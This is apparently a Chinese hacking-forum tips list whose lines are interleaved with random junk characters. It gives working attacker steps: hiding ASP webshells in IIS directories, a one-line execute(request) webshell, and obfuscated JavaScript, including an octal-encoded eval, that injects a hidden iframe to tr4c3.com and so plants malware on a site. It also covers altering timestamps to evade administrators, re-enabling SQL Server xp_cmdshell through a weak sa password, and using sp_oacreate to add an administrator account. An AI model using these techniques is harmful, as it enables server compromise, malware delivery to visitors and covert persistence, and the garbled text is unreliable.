2 M$ G X" J2 ^8 t: b; V1、建立非标准目录:mkdir images..\' C1 `1 ?- L5 u5 L J
拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp0 O2 T) T& K' R( \ E2 E9 x4 t) O
通过web访问ASP木马:http://ip/images../news.asp?action=login, P0 J, b( o! O5 F, g
如何删除非标准目录:rmdir images..\ /s+ n1 {# u! V: J" s6 S% i/ V' w1 b2 T
2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析,以达到我们隐藏自己的网页后门的目的:7 S4 u( v% o- `0 ~) ^
mkdir programme.asp- e& y1 a5 j$ P- ^ P* X' T1 S
新建1.txt文件内容:<!--#include file=”12.jpg”-->8 I: F) F# m' F M( u; b
新建12.jpg文件内容:<%execute(request("l"))%> 或使用GIF与ASP合并后的文件
/ `9 K" x! Q/ E4 i2 m( Eattrib +H +S programme.asp
$ D: Y) G/ v( z7 ?) _! I9 f S通过web访问ASP一句话木马:http://ip/images/programme.asp/1.txt
8 l: F2 c! J, G: D7 R! Y8 T1 z. s& l! d4 I9 ^ o) Q% ~0 Y
54、attrib /d /s c:\windows +h +s,后windows目录变为隐藏+系统,隐藏属性为灰不可更改,windows目录下面的文件和目录并没有继承属性,原来是什么样还是什么样。/ r( }6 @ Y" }2 M( j; A7 s
然后在利用attrib /d /s c:\windows -h -s,windows目录可以显示,隐藏属性可以再次选中。
5 H1 n, u8 m+ v' J
- F; ^5 ]4 h [4 W3 t& E% v55、JS隐蔽挂马5 t& D( `+ B$ g& R0 Y
1.5 M3 i8 {5 v r' I
var tr4c3="<iframe src=ht";
/ L; u9 V, ^9 q+ H8 Y" \( i9 Ltr4c3 = tr4c3+"tp:/";( f5 O/ w9 x. m, \6 k
tr4c3 = tr4c3+"/ww";
, A: P& T* d% E, s) ttr4c3 = tr4c3+"w.tr4";
( N2 e: L- R! }/ Q: {; otr4c3 = tr4c3+"c3.com/inc/m";
+ P# P1 \3 O/ v0 d" utr4c3 = tr4c3+"m.htm style="display:none"></i";
) o; a: Q/ h4 F7 d5 X! Jtr4c3 =tr4c3+"frame>'";5 g/ H3 ^7 m* W5 S- G
document.write(tr4c3);& {! s" i: l. x( t$ \+ W6 P7 M X7 p
避免被管理员搜索网马地址找出来。把变量名定义的和网站本身的接近些,混淆度增加。0 n& m7 [( B# J g8 M2 h
8 X6 @7 A1 K, u- o, d
2.* s/ T0 }, a4 _4 V' y( ~
转换进制,然后用EVAL执行。如# ^; b' t1 P! {3 `: D
eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\40\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\164\162\64\143\63\56\143\157\155\57\151\156\143\57\155\155\56\150\164\155\40\163\164\171\154\145\75\42\42\144\151\163\160\154\141\171\72\156\157\156\145\42\42\76\74\57\151\146\162\141\155\145\76\42\51\73");. g; |7 A: `6 Y2 E# r$ O7 G
不过这个有点显眼。( I" m9 P' N3 Q
3.
2 A1 D' P3 X$ }# H0 Jdocument.write ('<iframe src=http://www.tr4c3.com/inc/mm.htm style="display:none"></iframe>');* [) {) K' B& E7 I! m. A" _
最后一点,别忘了把文件的时间也修改下。1 d1 s8 [6 u3 T1 {% S3 _( f
* k7 X b6 J+ c! k+ a56.3389终端入侵常用DOS命令
2 V l" X) |5 d8 ?8 f/ etaskkill taskkill /PID 1248 /t6 T) C, ~- c+ h. s+ S' ]
- H$ Z- ^7 V8 n6 T. l
tasklist 查进程: x7 j0 F$ O4 w! N3 M
" k7 h& D# T! M
cacls "C:\Program Files\ewido anti-spyware 4.0\guard.exe" /d:everyone 改、降低某文件权限$ I. m. a3 b/ w, X1 @" J% T
iisreset /reboot9 v" v, G& ~2 E* Z" S) f
tsshutdn /reboot /delay:1 重起服务器
! O! i. w7 P& f3 b/ x# h9 Y) n. c3 C- z" i& K) Z+ O. \' j ~1 m
logoff 12 要使用会话 ID(例如,会话 12)从会话中注销用户,' {9 V/ C$ T/ Z- G
' y3 P c1 [; `+ q: s
query user 查看当前终端用户在线情况
+ ]4 t/ S5 n. B, {0 p# T3 d6 q$ c* \1 \
要显示有关所有会话使用的进程的信息,请键入:query process *+ f9 w8 Z5 B0 A
$ p, U" [$ t9 s+ X2 K' o+ L要显示有关会话 ID 2 使用的进程的信息,请键入:query process /ID:2
+ |8 {9 o( T+ S6 u5 N
$ F5 }9 x6 j8 H5 K要显示有关服务器 SERVER2 上所有活动会话的信息,请键入:query session /server:SERVER2
" O6 \. v+ T& }* c; x0 o3 z6 M9 \ U& ]/ T! l- C
要显示有关当前会话 MODEM02 的信息,请键入:query session MODEM02
W+ m/ A5 S6 G' @! F
4 N& K- A1 v% I4 K命令列:rundll32.exe user.exe,restartwindows 功能: 系统重启
7 \+ l9 V' b8 G' ?$ q4 \" r
% r( W$ G3 N5 V' w2 ~6 I2 b+ U命令列:rundll32.exe user.exe,exitwindows 功能: 关闭系统' t+ I; r! u. i/ Q4 U& x9 v9 |# O: V
( p! I1 v* d; N) R1 z$ X6 H* p8 k
命令列: rundll32.exe user.exe,restartwindows 功能: 强行关闭所有程式并重启机器。
5 @* Q- W! Z! ]5 @) a1 p) i
. Y; \* K3 } \& G9 K& W命令列: rundll32.exe user.exe,exitwindows 功能: 强行关闭所有程式并关机. W1 U; O. U0 u( e- V; [8 G
4 r6 k j Q, ~& `; f V
56、在地址栏或按Ctrl+O,输入:5 ]% S# O5 }3 o, T0 B
javascript:s=document.documentElement.outerHTML;document.write('<body></body>');document.body.innerText=s;
5 q" W/ b' e j# c% O5 w6 M' @' @) o) t" Q
源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果。5 E/ y. C+ I6 Q: }6 G, s" ]( z
( L9 n, S% v$ h
57、net user的时候,是不能显示加$的用户,但是如果不处理的话, A5 E& F [# D1 _2 l5 E
用net localgroup administrators是可以看到管理组下,加了$的用户的。9 d$ G9 d x1 {0 [
& e v5 u, G- l5 K0 Y: S* c' {58、 sa弱口令相关命令
- ?- i0 O; _3 u3 _4 [* W4 f, x; a, |, n
一.更改sa口令方法:0 G. B' r. E; n2 X! C1 G: i* {
用sql综合利用工具连接后,执行命令:7 y% K* v+ ^1 m) p1 F {( d
exec sp_password NULL,'20001001','sa'; p: G& K* D" p: U' a" x
(提示:慎用!)9 p( o6 R) ]! w: M' M* {8 I
/ s- ?' C- l* m3 U' g
二.简单修补sa弱口令.! l a6 Z; ^0 f( C1 q) F
$ f, K) q6 `) O K' F7 _ _1 m# H, X
方法1:查询分离器连接后执行:5 g' u& p. B3 O6 E, ~( R
if exists (select * from% \% ?& O+ X/ ?
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
5 D5 L" S$ B3 bOBJECTPROPERTY(id, N'IsExtendedProc') = 1)$ Y: v: y: |8 ]; [+ b0 m) V* H% \
9 `3 M. {# @8 e% g* aexec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
) p' s$ S d2 t- b1 T+ z8 R
' j4 g% ?) D1 L5 W$ z, hGO3 _. L) k1 V/ P
5 z8 l! s7 G4 ?然后按F5键命令执行完毕1 v; i* z* H$ F0 s( t9 J
& C/ M) S1 _% T4 a1 O方法2:查询分离器连接后
; p6 E( r1 ?3 c第一步执行:use master8 E5 i: M o. Y$ p
第二步执行:sp_dropextendedproc 'xp_cmdshell'. [5 Z! S7 _( I" X! l
然后按F5键命令执行完毕! L3 r6 u: Z# N
- i1 S- C1 k5 \
. k# r T) d& {' o; B2 ~
三.常见情况恢复执行xp_cmdshell.4 r+ _" z; h5 R$ g
! o) v; `6 C3 S8 u8 s% ?: o2 ?8 p
2 r! n) B# s1 b+ R
1 未能找到存储过程'master..xpcmdshell'.
% a$ {2 k$ `$ ^ 恢复方法:查询分离器连接后,: I7 [$ o+ T' @4 i
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
9 B" k% b3 ^; d. r' t# v ?第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'6 K4 \: P$ F4 I1 s5 D7 ?; P# E" A
然后按F5键命令执行完毕
; N |4 H- d9 X l3 @, {8 F0 [7 e7 a4 Y, ]$ K
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)8 N+ Y4 Z: L( |0 m% v5 ^, Y) A
恢复方法:查询分离器连接后,- q. Z' }0 [3 t e) w O
第一步执行:sp_dropextendedproc "xp_cmdshell"& e5 X c# ?, [
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
/ p% n/ V- W/ S/ A+ A. M5 s( g# }然后按F5键命令执行完毕
s0 i' v0 ?& i9 ~! D
; }, c* @+ J9 ~$ R2 S: Z3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)& S/ B5 z# @+ v( ^: t
恢复方法:查询分离器连接后,
1 @9 o3 B; W6 X9 `/ \/ |第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
8 [% T8 U: d U第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
# [; O2 e9 L2 r; f$ r- t然后按F5键命令执行完毕- B3 B0 P, X. w6 t/ G w
9 e; f$ n9 c& v, w2 f1 X0 b
四.终极方法.
. X6 g) s1 D9 b2 K5 A如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:! S0 z' f0 t! [
查询分离器连接后,0 \- `. k# \% C5 Q$ T/ {% g, d0 t5 V
2000servser系统:
9 W, ?" I0 G5 gdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 用户名 密码 /add'" g( r& ^3 P. w i! M
7 B' J3 e4 T/ v+ _. K' S
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 用户名 /add'
) n3 K% x! z/ T
8 B& t9 w I% _8 W4 Wxp或2003server系统: H- T0 u9 u6 i
. w( y/ a! ?' P+ T! [
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'
$ T# i) V" V* T' a3 A1 X" O1 I' g; B( v' V' J; B9 G* b
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'- ^7 [2 ]2 Q. V0 q8 ^
|